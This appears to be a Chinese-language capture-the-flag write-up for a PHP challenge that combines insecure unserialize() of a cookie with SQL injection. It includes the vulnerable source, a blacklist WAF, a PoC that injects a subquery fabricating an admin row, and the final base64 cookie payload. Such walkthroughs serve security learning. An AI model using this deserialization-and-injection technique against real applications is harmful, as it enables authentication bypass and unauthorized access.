warmup (反序列化與sql注入)
題目來源
攻防世界 NO.GFSJ0999
題目描述
題目提示:平平無奇的輸入框
開啟網址頁面如下,沒有有用資訊。
題目給了附件,直接下載,得到原始碼如下:
index.php(其中頁面佈局等無用程式碼省略)
<?php
include 'conn.php';
include 'flag.php';
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info'])); //對cookie中的last_login_info進行反序列化。下面的程式碼已經可以不用看了,這裡就是這道題的入口。
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
if(isset($_POST['username']) && isset($_POST['password'])){
$table = 'users';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = new SQL();
$sql->connect();
$sql->table = $table;
$sql->username = $username;
$sql->password = $password;
$sql->check_login();
}
?>
conn.php
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
//若返回結果的username欄位值為admin則給出flag
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
//對資料庫進行查詢的語句
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
題解
本文參考:https://www.cnblogs.com/Goo1/p/17644523.html
顯然這題是一道反序列化和sql注入結合的題目,反序列化的引數是$last_login_info
這道題的重點不在於反序列化,反序列化只是提供一個進入函式的入口。
當反序列化開始進行時,若有__wakeup()
函式,則執行__wakeup()
函式。
可以看到最後得到flag但是程式碼在check_login()
函式,check_login()
函式有呼叫了query()
函式對資料庫進行查詢,並返回結果。
若返回的結果中欄位username
的值為admin,則返回flag。
觀察query()
函式中的查詢語句:
"select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"
沒辦法像多數sql注入的題目一樣爆庫爆表名,我們也無法保證select的結果為admin。
這裡涉及知識點:查詢虛擬表
poc如下:
<?php
class SQL{
public $table;
public $username;
public $password;
public $conn;
}
$o=new SQL();
//括號外的a是子查詢表的名字
$o->table="(select 'admin' username,'123' password)a";
//要和表內的欄位值一致
$o->username='admin';
$o->password='123';
echo serialize($o);
閉合時查詢語句為
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'
下面對這條查詢語句進行解釋
select 'admin' username,'123' password
這部分建立了一個臨時的虛擬表,其中包含兩列:username 和 password,並且它們的值分別是 'admin' 和 '123'。
(select 'admin' username,'123' password) a
上面的子查詢被命名為 a。這意味著整個子查詢的結果會被視為一個名為 a 的表。
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'
這部分從虛擬表 a 中選擇 username 和 password 兩列,並且只選擇滿足條件 username='admin' 和 password='123' 的記錄。
綜合來看,該 SQL 語句最終返回的結果是:
username | password |
---|---|
admin | 123 |
滿足條件$row['username'] === 'admin'
將得到的序列化物件進行base64編碼
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO30=
賦值給$last_login_info
檢視頁面原始碼得到flag